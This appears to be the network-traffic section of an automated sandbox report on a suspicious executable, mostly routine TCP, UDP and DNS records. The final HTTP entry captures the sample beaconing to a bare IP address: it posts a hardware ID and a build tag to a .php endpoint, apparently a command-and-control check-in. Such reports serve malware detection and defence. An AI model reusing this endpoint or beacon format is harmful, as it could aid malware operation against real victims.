Nov 1, 2024 05:53:45.810504913 CET	443	50013	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:45.810543060 CET	50013	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:45.810544014 CET	443	50013	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:45.810590982 CET	50013	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:45.810627937 CET	50013	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:45.810635090 CET	443	50013	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:45.810663939 CET	50013	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:45.810667992 CET	443	50013	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:45.813041925 CET	50018	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:45.813086033 CET	443	50018	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:45.813154936 CET	50018	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:45.813410997 CET	50018	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:45.813427925 CET	443	50018	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:45.865674019 CET	443	50015	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:45.909423113 CET	50015	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:45.916563988 CET	50015	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:45.916568041 CET	443	50015	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:45.917053938 CET	50015	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:45.917058945 CET	443	50015	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:45.933161974 CET	443	50014	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:45.933192968 CET	443	50014	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:45.933245897 CET	443	50014	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:45.933279991 CET	50014	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:45.933434963 CET	50014	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:45.935041904 CET	50014	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:45.935054064 CET	443	50014	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:45.935065031 CET	50014	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:45.935069084 CET	443	50014	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:45.991914988 CET	50019	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:45.991930962 CET	443	50019	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:45.991996050 CET	50019	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:45.995712042 CET	50019	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:45.995723009 CET	443	50019	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:46.159435034 CET	443	50015	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:46.159460068 CET	443	50015	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:46.159467936 CET	443	50015	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:46.159476042 CET	443	50015	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:46.159497976 CET	443	50015	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:46.159528017 CET	50015	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:46.159549952 CET	443	50015	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:46.159574032 CET	50015	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:46.159594059 CET	50015	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:46.160393953 CET	443	50015	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:46.160440922 CET	443	50015	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:46.160449982 CET	50015	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:46.160482883 CET	50015	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:46.161993980 CET	50015	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:46.162010908 CET	443	50015	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:46.162020922 CET	50015	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:46.162026882 CET	443	50015	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:46.166143894 CET	50020	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:46.166188955 CET	443	50020	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:46.166275978 CET	50020	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:46.166888952 CET	50020	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:46.166904926 CET	443	50020	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:46.482144117 CET	443	50017	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:46.484481096 CET	50017	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:46.484499931 CET	443	50017	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:46.484915972 CET	50017	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:46.484920979 CET	443	50017	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:46.518963099 CET	443	50016	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:46.519483089 CET	50016	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:46.519505024 CET	443	50016	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:46.519936085 CET	50016	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:46.519942999 CET	443	50016	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:46.541219950 CET	443	50018	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:46.541559935 CET	50018	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:46.541569948 CET	443	50018	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:46.541927099 CET	50018	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:46.541933060 CET	443	50018	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:46.656527042 CET	443	50016	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:46.656577110 CET	443	50016	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:46.656647921 CET	50016	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:46.656661987 CET	443	50016	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:46.656852007 CET	50016	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:46.656856060 CET	443	50016	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:46.656869888 CET	50016	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:46.657249928 CET	443	50016	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:46.657341957 CET	443	50016	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:46.657396078 CET	50016	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:46.659631968 CET	50021	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:46.659662008 CET	443	50021	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:46.659734011 CET	50021	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:46.659864902 CET	50021	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:46.659881115 CET	443	50021	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:46.671005964 CET	443	50018	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:46.671032906 CET	443	50018	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:46.671075106 CET	443	50018	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:46.671103001 CET	50018	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:46.671116114 CET	50018	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:46.671274900 CET	50018	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:46.671293974 CET	443	50018	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:46.671304941 CET	50018	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:46.671309948 CET	443	50018	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:46.673542976 CET	50022	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:46.673578024 CET	443	50022	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:46.673652887 CET	50022	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:46.673798084 CET	50022	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:46.673813105 CET	443	50022	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:46.732342005 CET	443	50017	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:46.732362032 CET	443	50017	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:46.732378006 CET	443	50017	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:46.732428074 CET	50017	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:46.732440948 CET	443	50017	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:46.732467890 CET	50017	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:46.732487917 CET	50017	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:46.735654116 CET	443	50019	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:46.736012936 CET	50019	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:46.736021042 CET	443	50019	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:46.736435890 CET	50019	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:46.736440897 CET	443	50019	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:46.853359938 CET	443	50017	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:46.853409052 CET	443	50017	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:46.853420973 CET	443	50017	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:46.853463888 CET	50017	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:46.853522062 CET	50017	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:46.853687048 CET	50017	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:46.853698015 CET	443	50017	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:46.853708029 CET	50017	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:46.853713036 CET	443	50017	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:46.856730938 CET	50023	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:46.856746912 CET	443	50023	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:46.856834888 CET	50023	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:46.857023954 CET	50023	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:46.857033968 CET	443	50023	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:46.866271973 CET	443	50019	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:46.866296053 CET	443	50019	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:46.866358995 CET	50019	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:46.866365910 CET	443	50019	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:46.866396904 CET	443	50019	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:46.866440058 CET	50019	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:46.866615057 CET	50019	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:46.866619110 CET	443	50019	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:46.866626978 CET	50019	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:46.866631031 CET	443	50019	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:46.869520903 CET	50024	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:46.869637966 CET	443	50024	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:46.869721889 CET	50024	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:46.869996071 CET	50024	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:46.870032072 CET	443	50024	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:46.895009041 CET	443	50020	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:46.895426989 CET	50020	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:46.895447969 CET	443	50020	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:46.895803928 CET	50020	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:46.895808935 CET	443	50020	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:47.072384119 CET	443	50020	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:47.072438002 CET	443	50020	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:47.072534084 CET	50020	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:47.072747946 CET	50020	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:47.072747946 CET	50020	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:47.072766066 CET	443	50020	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:47.072772980 CET	443	50020	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:47.075620890 CET	50025	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:47.075654030 CET	443	50025	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:47.075736046 CET	50025	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:47.075912952 CET	50025	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:47.075925112 CET	443	50025	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:47.395690918 CET	443	50021	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:47.396162987 CET	50021	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:47.396190882 CET	443	50021	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:47.396608114 CET	50021	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:47.396612883 CET	443	50021	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:47.403070927 CET	443	50022	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:47.403512001 CET	50022	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:47.403526068 CET	443	50022	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:47.403871059 CET	50022	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:47.403876066 CET	443	50022	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:47.523338079 CET	443	50021	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:47.524028063 CET	443	50021	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:47.524099112 CET	50021	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:47.524123907 CET	50021	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:47.524142027 CET	443	50021	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:47.524152994 CET	50021	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:47.524157047 CET	443	50021	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:47.526567936 CET	50026	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:47.526663065 CET	443	50026	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:47.526756048 CET	50026	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:47.526890039 CET	50026	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:47.526925087 CET	443	50026	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:47.532460928 CET	443	50022	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:47.532511950 CET	443	50022	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:47.532587051 CET	50022	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:47.532685995 CET	50022	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:47.532685995 CET	50022	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:47.532701969 CET	443	50022	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:47.532711983 CET	443	50022	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:47.534557104 CET	50027	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:47.534586906 CET	443	50027	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:47.534666061 CET	50027	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:47.534779072 CET	50027	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:47.534790993 CET	443	50027	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:47.590878010 CET	443	50023	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:47.591384888 CET	50023	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:47.591402054 CET	443	50023	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:47.591846943 CET	50023	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:47.591851950 CET	443	50023	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:47.639583111 CET	443	50024	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:47.640110970 CET	50024	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:47.640156984 CET	443	50024	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:47.640552044 CET	50024	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:47.640566111 CET	443	50024	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:47.722786903 CET	443	50023	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:47.722835064 CET	443	50023	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:47.722882986 CET	50023	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:47.723062992 CET	50023	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:47.723073006 CET	443	50023	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:47.723084927 CET	50023	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:47.723088980 CET	443	50023	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:47.725965023 CET	50028	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:47.726000071 CET	443	50028	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:47.726078987 CET	50028	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:47.726247072 CET	50028	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:47.726264000 CET	443	50028	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:47.774657965 CET	443	50024	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:47.774718046 CET	443	50024	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:47.774759054 CET	443	50024	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:47.774769068 CET	50024	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:47.774939060 CET	50024	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:47.774961948 CET	50024	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:47.774987936 CET	443	50024	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:47.775003910 CET	50024	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:47.775010109 CET	443	50024	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:47.816318989 CET	443	50025	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:47.817560911 CET	50025	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:47.817580938 CET	443	50025	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:47.822422028 CET	50025	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:47.822426081 CET	443	50025	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:47.950117111 CET	443	50025	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:47.950165987 CET	443	50025	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:47.950237036 CET	50025	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:47.950512886 CET	50025	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:47.950524092 CET	443	50025	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:47.950546026 CET	50025	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:47.950551033 CET	443	50025	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:48.266587019 CET	443	50027	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:48.267242908 CET	50027	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:48.267265081 CET	443	50027	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:48.267827034 CET	50027	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:48.267832041 CET	443	50027	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:48.282557011 CET	443	50026	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:48.283252001 CET	50026	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:48.283276081 CET	443	50026	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:48.283565998 CET	50026	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:48.283574104 CET	443	50026	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:48.414222002 CET	443	50026	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:48.414416075 CET	443	50026	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:48.414489985 CET	50026	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:48.414575100 CET	50026	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:48.414575100 CET	50026	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:48.414618015 CET	443	50026	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:48.414643049 CET	443	50026	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:48.456295013 CET	443	50028	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:48.456821918 CET	50028	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:48.456840992 CET	443	50028	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:48.457191944 CET	50028	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:48.457195997 CET	443	50028	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:48.567796946 CET	443	50027	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:48.567852020 CET	443	50027	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:48.568058014 CET	50027	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:48.586293936 CET	443	50028	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:48.586355925 CET	443	50028	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:48.586426020 CET	50028	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:48.595191956 CET	50027	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:48.595213890 CET	443	50027	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:48.595226049 CET	50027	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:48.595230103 CET	443	50027	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:48.597346067 CET	50028	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:48.597357035 CET	443	50028	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:48.597368956 CET	50028	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:48.597373962 CET	443	50028	13.107.246.45	192.168.2.4

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 1, 2024 05:52:12.686187983 CET	53	54560	1.1.1.1	192.168.2.4
Nov 1, 2024 05:52:12.870693922 CET	62075	53	192.168.2.4	1.1.1.1
Nov 1, 2024 05:52:12.874070883 CET	64203	53	192.168.2.4	1.1.1.1
Nov 1, 2024 05:52:12.876897097 CET	53	64403	1.1.1.1	192.168.2.4
Nov 1, 2024 05:52:12.877269983 CET	53	62075	1.1.1.1	192.168.2.4
Nov 1, 2024 05:52:12.880656004 CET	53	64203	1.1.1.1	192.168.2.4
Nov 1, 2024 05:52:14.134982109 CET	53	61530	1.1.1.1	192.168.2.4
Nov 1, 2024 05:52:18.703113079 CET	57061	53	192.168.2.4	1.1.1.1
Nov 1, 2024 05:52:18.703322887 CET	55809	53	192.168.2.4	1.1.1.1
Nov 1, 2024 05:52:18.706502914 CET	53	60197	1.1.1.1	192.168.2.4
Nov 1, 2024 05:52:18.709930897 CET	53	57061	1.1.1.1	192.168.2.4
Nov 1, 2024 05:52:18.710530043 CET	53	55809	1.1.1.1	192.168.2.4
Nov 1, 2024 05:52:19.695461035 CET	49941	53	192.168.2.4	1.1.1.1
Nov 1, 2024 05:52:19.695669889 CET	61361	53	192.168.2.4	1.1.1.1
Nov 1, 2024 05:52:19.702064037 CET	53	49941	1.1.1.1	192.168.2.4
Nov 1, 2024 05:52:19.702646971 CET	53	61361	1.1.1.1	192.168.2.4
Nov 1, 2024 05:52:22.852505922 CET	138	138	192.168.2.4	192.168.2.255

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Nov 1, 2024 05:52:12.870693922 CET	192.168.2.4	1.1.1.1	0xec9	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Nov 1, 2024 05:52:12.874070883 CET	192.168.2.4	1.1.1.1	0x2e61	Standard query (0)	www.google.com	65	IN (0x0001)	false
Nov 1, 2024 05:52:18.703113079 CET	192.168.2.4	1.1.1.1	0x296	Standard query (0)	apis.google.com	A (IP address)	IN (0x0001)	false
Nov 1, 2024 05:52:18.703322887 CET	192.168.2.4	1.1.1.1	0x5861	Standard query (0)	apis.google.com	65	IN (0x0001)	false
Nov 1, 2024 05:52:19.695461035 CET	192.168.2.4	1.1.1.1	0x2330	Standard query (0)	play.google.com	A (IP address)	IN (0x0001)	false
Nov 1, 2024 05:52:19.695669889 CET	192.168.2.4	1.1.1.1	0xd41f	Standard query (0)	play.google.com	65	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Nov 1, 2024 05:52:12.877269983 CET	1.1.1.1	192.168.2.4	0xec9	No error (0)	www.google.com		142.250.185.132	A (IP address)	IN (0x0001)	false
Nov 1, 2024 05:52:12.880656004 CET	1.1.1.1	192.168.2.4	0x2e61	No error (0)	www.google.com			65	IN (0x0001)	false
Nov 1, 2024 05:52:18.709930897 CET	1.1.1.1	192.168.2.4	0x296	No error (0)	apis.google.com	plus.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 1, 2024 05:52:18.709930897 CET	1.1.1.1	192.168.2.4	0x296	No error (0)	plus.l.google.com		142.250.181.238	A (IP address)	IN (0x0001)	false
Nov 1, 2024 05:52:18.710530043 CET	1.1.1.1	192.168.2.4	0x5861	No error (0)	apis.google.com	plus.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 1, 2024 05:52:19.702064037 CET	1.1.1.1	192.168.2.4	0x2330	No error (0)	play.google.com		142.250.185.206	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

www.google.com

slscr.update.microsoft.com

apis.google.com

fs.microsoft.com

otelrules.azureedge.net

185.215.113.206

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49730	185.215.113.206	80	7512	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Nov 1, 2024 05:52:04.003357887 CET	90	OUT	GET / HTTP/1.1 Host: 185.215.113.206 Connection: Keep-Alive Cache-Control: no-cache
Nov 1, 2024 05:52:04.924437046 CET	203	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 04:52:04 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 1, 2024 05:52:04.928457022 CET	413	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----CBFBKFIDHIDGHJKFBGHC Host: 185.215.113.206 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 43 42 46 42 4b 46 49 44 48 49 44 47 48 4a 4b 46 42 47 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 37 44 43 37 41 34 32 31 39 42 31 41 32 34 34 37 37 37 31 30 37 34 0d 0a 2d 2d 2d 2d 2d 2d 43 42 46 42 4b 46 49 44 48 49 44 47 48 4a 4b 46 42 47 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 74 61 6c 65 0d 0a 2d 2d 2d 2d 2d 2d 43 42 46 42 4b 46 49 44 48 49 44 47 48 4a 4b 46 42 47 48 43 2d 2d 0d 0a Data Ascii: ------CBFBKFIDHIDGHJKFBGHCContent-Disposition: form-data; name="hwid"7DC7A4219B1A2447771074------CBFBKFIDHIDGHJKFBGHCContent-Disposition: form-data; name="build"tale------CBFBKFIDHIDGHJKFBGHC--
